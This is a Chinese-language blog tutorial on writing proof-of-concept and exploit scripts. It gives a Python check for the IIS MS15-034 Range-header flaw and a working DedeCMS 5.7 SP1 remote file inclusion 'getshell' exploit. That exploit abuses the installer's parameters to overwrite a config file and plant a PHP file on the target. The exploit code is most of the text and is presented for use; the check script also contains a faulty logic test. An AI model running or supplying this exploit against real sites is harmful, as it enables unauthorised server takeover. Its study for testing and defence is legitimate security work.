POC-EXP编写
文章目錄
- POC
- 一.概念
- 二.思維圖解
- 三.代碼演示
- EXP
- 一.概念
- 二.思維圖解
- 三.代碼演示
POC
一.概念
漏洞剛被批漏之后,有時候現有的工具里面是沒有相應的poc的,那我們可以根據原理寫出對應的poc代碼,驗證漏洞是否存在。
作用:用于漏洞驗證,更加高效的快速挖掘漏洞,而不是手工測試,節省時間。
二.思維圖解
三.代碼演示
import requests a= input('請輸入MS_15_034 IP或域名:') url=a #1.拼接payload到url中或者header頭和cookies中 header={'Host': 'stuff','Range': 'bytes=0-18446744073709551615' } #2.發起請求 r = requests.get(url,headers=header) #3.通過響應頭判斷中間件和腳本版本 server = r.headers['Server'] if server.find('IIS/7.5') or server.find('IIS/8.0'): #4.根據其漏洞特征,判斷該漏洞是否存在if r.text.find('Requested Range Not Satisfiable'):print('find ms15_035')else:passelse:print('no find')附加類似的腳本參考
EXP
一.概念
漏洞剛被批漏之后,有時候現有的工具里面是沒有相應的exp的,那我們可以根據原理寫出對應的exp代碼,驗證漏洞是否存在。
作用:用于漏洞利用,更加高效的漏洞利用,而不是手工測試,節省時間。
二.思維圖解
exp編寫情況很多,所以了解漏洞原理以后,根據實際情況去編寫exp
三.代碼演示
織夢5.7 sp1遠程文件包含getshell exp
# -*- coding:utf-8 -*-import requests import timedef dada(url):url_index=url+"/install/index.php"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 \(KHTML, like Gecko) Chrome/51.0. 2704.103 Safari/537.36"}try:url_request=requests.get(url_index,headers)time.sleep(3)if(url_request.status_code==200):print("漏洞文件存在,開始測試")time.sleep(5)#創建發起攻擊的payloadurl_url = url + "/install/index.php?step=11&insLockfile=a&s_lang=x&install_demo_name=../data/admin/config_update.php" # 重置其參數print(url_url)#發起攻擊請求requests.get(url=url_url, headers=headers) # 發送重置請求#創建發起攻擊的payloadurl_url2 = url + "/install/index.php?step=11&insLockfile=a&s_lang=x&install_demo_name=../data/test.php&updateHost=http://127.0.0.1/" # 換成存在demodata.x.txt地址print(url_url2)#發起攻擊請求requests.get(url=url_url2, headers=headers) # 發送expurl_exp = url + "/data/test.php"url_final = requests.get(url=url_exp, headers=headers)#判斷是否攻擊成功if url_final.status_code == 200:print("攻擊成功,請訪問 \n "+url_exp)else:print("測試失敗,請人工測試")else:print("檢測完成,該漏洞不存在")except:print("error:請檢測網絡或者url地址")#print(url)if __name__ == '__main__':dada("http://127.0.0.1/dede/dedecms") 與50位技術專家面對面20年技術見證,附贈技術全景圖總結
- 上一篇: python_异常处理
- 下一篇: 使用Pocsuite3